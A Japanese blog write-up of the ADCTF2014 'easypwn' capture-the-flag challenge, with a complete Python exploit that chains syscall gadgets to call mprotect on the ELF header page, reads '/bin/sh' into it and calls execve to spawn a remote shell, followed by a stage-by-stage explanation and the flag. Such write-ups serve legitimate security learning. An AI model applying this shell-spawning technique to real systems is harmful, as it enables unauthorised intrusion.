つれづれなる備忘録

CTF関連の事やその他諸々

ADCTF2014 [20] easypwn

easy?どこがだよwww

Pwn me! The flag is in /home/easypwn/flag. ASLR enabled, no libs. easypwn
nc pwnable.katsudon.org 28099

 

pwn系で一番悩みましたw

だって使える要素があまりにも少ないんだもの

まあ今回もASLRは気にしない方針でいきましょ

 

今回はsyscallなんていう関数があるため、eaxに適切な値を格納して引数をスタックに積めばおk!

08048080 <syscall>: 8048080: 8b 54 24 0c mov 0xc(%esp),%edx 8048084: 8b 4c 24 08 mov 0x8(%esp),%ecx 8048088: 8b 5c 24 04 mov 0x4(%esp),%ebx 804808c: cd 80 int $0x80 804808e: c3 ret

今回書いたexploitはこちら

 

#!/usr/bin/env python
from struct import *
import sys
import socket

rhp = (&quot;pwnable.katsudon.org&quot;,28099)
sh = &quot;/bin/sh&quot;

addr_syscall = 0x08048080
addr_read = 0x080480a9
addr_exit = 0x080480df

elf_head = 0x08048000

sys_execve = 0x0b
sys_mprotect = 0x7d
length = 0x1000
null = 0x0

#==========

nc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
nc.settimeout(0.5)
nc.connect(rhp)

exploit_st1 = &quot;\x00&quot;*0x10
exploit_st1 += pack(&quot;&lt;I&quot;, addr_syscall)
exploit_st1 += pack(&quot;&lt;I&quot;, addr_read-0x2)
exploit_st1 += pack(&quot;&lt;I&quot;, elf_head)
exploit_st1 += pack(&quot;&lt;I&quot;, length)
exploit_st1 += pack(&quot;&lt;I&quot;, 0x7)
exploit_st1 += &quot;\x00&quot;*(sys_mprotect-len(exploit_st1))

exploit_st2 = &quot;\x00&quot;*0x10
exploit_st2 += pack(&quot;&lt;I&quot;, addr_syscall) #$ecx=elf_head
exploit_st2 += pack(&quot;&lt;I&quot;, addr_read)
exploit_st2 += pack(&quot;&lt;I&quot;, null)
exploit_st2 += pack(&quot;&lt;I&quot;, elf_head)
exploit_st2 += pack(&quot;&lt;I&quot;, null)
exploit_st2 += pack(&quot;&lt;I&quot;, null)
exploit_st2 += pack(&quot;&lt;I&quot;, addr_syscall)
exploit_st2 += pack(&quot;&lt;I&quot;, addr_exit)
exploit_st2 += pack(&quot;&lt;I&quot;, elf_head)
exploit_st2 += pack(&quot;&lt;I&quot;, null)
exploit_st2 += pack(&quot;&lt;I&quot;, null)

nc.sendall(exploit_st1)
nc.sendall(exploit_st2)
nc.sendall(sh+&quot;\x00&quot;*(sys_execve-len(sh)))

続く

 

当初の予定ではexploit_st1は要らなかったんですよ

'/bin/sh'をスタック以外の固定された適当なアドレスに配置できれば、そこを参照して終了ですのでね。

そうは問屋が卸さない

 

方針変更:mmapを使おう

old_mmapしか文献が見当たらない。

構造体が配置できるなら最初っから解決してる

mmap2の存在は知ってても使い方が分からない ⇒ $eax=0xc0だと後に知る

 

方針変更:mprotectを使おう

$eax=0x7d

$ebx=address

$ecx=length

$edx=permission

これならいける

 

まずはmprotectするためにexploit_st1を送ります

exploit_st1 = "\x00"*0x10
exploit_st1 += pack("&lt;I", addr_syscall) ※
exploit_st1 += pack("&lt;I", addr_read-0x2)
exploit_st1 += pack("&lt;I", elf_head)
exploit_st1 += pack("&lt;I", length)
exploit_st1 += pack("&lt;I", 0x7)
exploit_st1 += "\x00"*(sys_mprotect-len(exploit_st1))

pwn_me関数のリターン先は、※のsyscall関数になります

次のリターン先にはaddr_read-0x2(read前にmov    %esp,%ecx を追加)を指定しておきます。

このexploit_st1の長さが、mprotectのシステムコール番号である0x7dになるように調整します。

そうすることでread後に$eaxに読み込んだ長さの0x7dが格納され、mprotectが使えます。

mprotectに与えるアドレスはページ境界でなければならないので、elfのヘッダが読み込まれてる先頭のアドレスを指定します。

これでいけたかな

08048000-08049000 rwxp 00000000 08:01 947049

なんか面白い

 

はい、では次です

exploit_st2 = "\x00"*0x10
exploit_st2 += pack("&lt;I", addr_syscall) #$ecx=elf_head
exploit_st2 += pack("&lt;I", addr_read)
exploit_st2 += pack("&lt;I", null)
exploit_st2 += pack("&lt;I", elf_head)
exploit_st2 += pack("&lt;I", null)
exploit_st2 += pack("&lt;I", null)
exploit_st2 += pack("&lt;I", addr_syscall)
exploit_st2 += pack("&lt;I", addr_exit)
exploit_st2 += pack("&lt;I", elf_head)
exploit_st2 += pack("&lt;I", null)
exploit_st2 += pack("&lt;I", null)

最初のsyscallは$ecxにelf_headを格納するためだけに使っています。

なんだかもっとスマートにできる気がががg

 

そののちreadで"/bin/sh"+"\x00"*(sys_execve-len(sh))をelfのヘッダ部に読み込んで、$eaxにはexecveの0x0bが格納されます。

2回目のsyscallでexecveが呼ばれてbashが起動します。

リターン先を_startのexitに飛ばして終了です。 exploit_easypwn.py

easypwn

 

FLAG: ADCTF_175_345y_7o_cON7ROL_5Y5c4LL